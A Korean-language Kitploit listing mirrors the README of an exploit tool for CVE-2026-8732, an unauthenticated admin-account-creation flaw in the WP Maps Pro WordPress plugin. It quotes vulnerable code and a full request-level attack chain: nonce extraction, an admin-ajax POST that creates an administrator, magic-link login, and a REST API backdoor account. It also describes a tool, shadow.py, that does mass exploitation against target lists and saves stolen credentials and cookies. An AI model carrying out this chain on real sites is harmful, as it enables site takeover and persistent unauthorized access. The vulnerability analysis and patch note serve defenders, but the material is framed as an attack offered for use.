Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/xshadow-here/cve-2026-8732
Privilege EscalationPassword AttacksVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubxshadow-here/cve-2026-8732

CVE-2026-8732

WP Maps Pro <= 6.1.0 - 인증되지 않은 권한 상승 (관리자 계정 생성을 통한)

저장소 보기
112개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-8732 — WP Maps Pro ≤ 6.1.0

♡ 인증되지 않은 권한 상승을 통한 관리자 계정 생성 ♡
=== shadow ♡ & friska ===


📋 취약점 정보

필드세부사항
CVE IDCVE-2026-8732
CVSS 점수9.8 (심각)
CVSS 벡터CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
유형중요 기능에 대한 인증 누락
플러그인WP Maps Pro (wp-google-map-gold)
영향 받는 버전모든 버전 ≤ 6.1.0
패치 버전6.1.1
발표일2026년 5월 28일
연구자David Brown
PoCShadow & Friska 😈

🔍 설명

WP Maps Pro WordPress 플러그인은 관리자 계정 생성을 통한 인증되지 않은 권한 상승 취약점에 노출되어 있습니다.

wpgmp_temp_access_ajax AJAX 액션은 wp_ajax_nopriv_로 등록되어 있으며, fc-call-nonce 논스를 통한 논스 검사만으로 보호됩니다. 이 논스는 wp_localize_script를 통해 wpgmp_local JavaScript 객체의 nonce 필드로 모든 프론트엔드 페이지에 공개적으로 포함됩니다.

이로 인해 논스 검사는 접근 제어 메커니즘으로서 완전히 무용지물이 되며, 인증되지 않은 공격자는 다음을 수행할 수 있습니다:

  1. 공개 페이지에서 논스를 추출
  2. check_temp=false와 함께 wpgmp_temp_access_support 핸들러를 호출
  3. 조건 없이 새로운 WordPress 관리자 계정 생성 트리거
  4. wp_set_auth_cookie()를 호출하는 매직 로그인 URL 수신 — 전체 관리자 접근 권한 부여
  5. 지속적인 백도어 계정 생성

결과: 사전 인증 없이 완전한 사이트 탈취.


🧬 근본 원인 분석

1. is_admin() 블록 내부에 등록된 훅 — 그러나 AJAX 요청에서는 is_admin()이 항상 참

root@kitploit:~
// wp-google-map-gold.php
if ( is_admin() ) {  // ← is_admin() = TRUE for all admin-ajax.php requests!
    add_action( 'wp_ajax_wpgmp_temp_access_ajax',        [ $this, 'wpgmp_temp_access_ajax_callback'] );
    add_action( 'wp_ajax_nopriv_wpgmp_temp_access_ajax', [ $this, 'wpgmp_temp_access_ajax_callback'] ); // ← nopriv = unauthenticated!
}

2. 논스가 모든 프론트엔드 페이지에 노출됨

root@kitploit:~
// classes/wpgmp-helper.php
$wpgmp_local = [
    'urlforajax' => admin_url( 'admin-ajax.php' ),
    'nonce'      => wp_create_nonce( 'fc-call-nonce' ),  // ← LEAKED to public HTML!
    // ...
];
wp_localize_script( 'wpgmp-google-map-main', 'wpgmp_local', $wpgmp_local );

모든 방문자는 페이지 소스에서 논스를 읽을 수 있습니다. WordPress 논스는 CSRF 토큰일 뿐, 인증 토큰이 아닙니다.

3. AJAX 콜백에 권한 검사 없음

root@kitploit:~
function wpgmp_temp_access_ajax_callback(){
    check_ajax_referer( 'fc-call-nonce', 'nonce' );  // ← bypassed via public nonce
    // NO current_user_can() check!
    $temp_access = new WPGMP_Temp_Access();
    $response = $temp_access->wpgmp_temp_access_support();
    wp_send_json($response);
}

4. 조건 없는 관리자 계정 생성

root@kitploit:~
// classes/wpgmp-temp-access.php
if (isset($_POST['check_temp']) && $_POST['check_temp'] == 'false') {
    $username = 'fc_user_' . uniqid();          // random username
    $email    = '[email protected]';       // hardcoded email
    $role     = 'administrator';                 // hardcoded role ← ROOT CAUSE

    $result = self::fc_create_new_user($username, $email, $role);

    if (is_numeric($result)) {
        $access_link = self::generate_login_link($result);
        $response['url'] = $access_link;         // ← magic URL returned to attacker!
    }
}

5. init 훅을 통한 매직 로그인 — 만료 없음, 일회성 아님

root@kitploit:~
// Hooked to init — runs on EVERY request, no auth required
function wpgmp_access_token_check(){
    if ( ! empty( $_GET['wpgmp_token'] ) ) {
        $temp_access->get_valid_user_based_on_wpgmp_token($wpgmp_access_token);
    }
}

// Inside get_valid_user_based_on_wpgmp_token():
wp_set_current_user( $temporary_user_id, $temporary_user_login );
wp_set_auth_cookie( $temporary_user_id );   // ← SESSION SET AS ADMIN
wp_safe_redirect( admin_url() );            // ← REDIRECT TO DASHBOARD

⚔️ 공격 체인

root@kitploit:~
[인증되지 않은 공격자]
         │
         ▼
   GET /any-page/
   ← HTML: wpgmp_local = {"nonce":"XXXXXXXX",...}
         │
         ▼
   POST /wp-admin/admin-ajax.php
   action=wpgmp_temp_access_ajax
   nonce=XXXXXXXX
   check_temp=false
   ← {"url":"https://target.com/wp-admin/?wpgmp_token=<128-hex>"}
         │
         ▼
   GET /wp-admin/?wpgmp_token=<128-hex>
   ← wp_set_auth_cookie() fired
   ← 302 → /wp-admin/
         │
         ▼
   [전체 관리자 접근] 💀
         │
         ▼
   POST /wp-json/wp/v2/users
   X-WP-Nonce: <rest-nonce>
   {"username":"backdoor","password":"...","roles":["administrator"]}
         │
         ▼
   [지속적 백도어 생성] 😈

🛠️ 도구

shadow.py — 전체 익스플로잇 체인

단일 대상 또는 대량 공격.

root@kitploit:~
# 대화형
python3 shadow.py

# 단일 대상
python3 shadow.py -u https://target.com

# 대량 공격
python3 shadow.py -f targets.txt -t 20

익스플로잇 단계:

root@kitploit:~
Phase 1  ▶  플러그인 및 기능 탐지
Phase 2  ▶  논스 스캔 (병렬 크롤러)
Phase 3  ▶  AJAX를 통한 관리자 생성
Phase 4  ▶  매직 로그인 (wp_set_auth_cookie)
Phase 5  ▶  지속적 백도어 (REST API)

출력 (pwned.txt):

root@kitploit:~
1.
=======================================================
Target    : https://target.com/wp-admin/
User      : shadow_xxxxx
Pass      : Xk9#mQ2pLrTv8nYw
Email     : [email protected]
Magic     : https://target.com/wp-admin/?wpgmp_token=...
=======================================================

Cookies :

=======================================================
wordpress_logged_in_...=fc_user_...
=======================================================

🔒 완화 방법

WP Maps Pro를 버전 6.1.1 이상으로 업데이트하세요.


[shadow ♡ friska] — 교육 목적 및 승인된 보안 연구에만 사용하세요

도구 다운로드